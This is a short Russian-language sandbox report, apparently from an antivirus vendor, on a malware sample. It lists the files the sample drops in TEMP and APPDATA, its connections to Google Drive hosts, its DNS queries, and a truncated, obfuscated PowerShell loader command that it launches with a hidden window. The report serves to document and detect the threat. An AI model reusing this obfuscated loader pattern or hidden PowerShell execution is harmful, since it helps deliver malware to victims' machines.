Техническая информация
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\halines.txt
- %APPDATA%\spokeswomanship.rhe
Сетевая активность
Подключается к
- 'drive.google.com':443
- 'pk#.goog':80
- 'drive.usercontent.google.com':443
TCP
Запросы HTTP GET
- http://pk#.goog/gsr1/gsr1.crt
Другие
- 'drive.google.com':443
- 'drive.usercontent.google.com':443
UDP
- DNS ASK drive.google.com
- DNS ASK pk#.goog
- DNS ASK drive.usercontent.google.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "$Bimlet = 1;$Goldcup='Substrin';$Goldcup+='g';Function Afsondrede($Bernhardine){$Classicalises=$Bernhardine.Length-$Bimlet;For($Fratagendes=7; $Fratagendes -lt $Classicalises; $Fratagendes+=(8...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "$Bimlet = 1;$Goldcup='Substrin';$Goldcup+='g';Function Afsondrede($Bernhardine){$Classicalises=$Bernhardine.Length-$Bimlet;For($Fratagendes=7; $Fratagendes -lt $Classicalises; $Fratagendes+=(8...
- '<SYSTEM32>\cmd.exe' /c "echo %appdata%\Spokeswomanship.Rhe && echo $"
